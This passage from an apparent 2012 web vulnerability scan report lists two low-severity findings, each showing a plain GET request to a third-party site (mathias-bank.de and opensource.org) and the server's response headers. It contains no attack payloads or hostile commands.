Cache-Control: must-revalidate
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 13118

<!doctype html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8
...[SNIP]...
8.21. http://www.mathias-bank.de/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mathias-bank.de
Path:   /

Request 1

GET / HTTP/1.1
Host: www.mathias-bank.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sat, 28 Apr 2012 11:56:35 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Pingback: http://www.mathias-bank.de/xmlrpc.php
Set-Cookie: bb2_screener_=1335614195+174.36.218.2; path=/
Set-Cookie: PHPSESSID=a5a42fc75b7d7dc8a229f7f3e33e4086; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 51932

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/x
...[SNIP]...
8.22. http://www.opensource.org/licenses/mit-license.php
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.opensource.org
Path:   /licenses/mit-license.php

Request 1

GET /licenses/mit-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:11:35 GMT
Server: Apache/2.2.22 (FreeBSD) DAV/2 SVN/1.7.4 mod_ssl/2.2.22 OpenSSL/1.0.0h
Set-Cookie: SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=j4qqpmdq6i10v2dc01uqo5gnc6; expires=Thu, 24-May-2012 03:44:55 GMT; path=/; domain=.opensource.org
Last-Modified: Tue, 01 May 2012 00:06:43 GMT
ETag: "cd16be8263c8ae9af48a946ceb527997"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37493

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...
8.23. http://www.side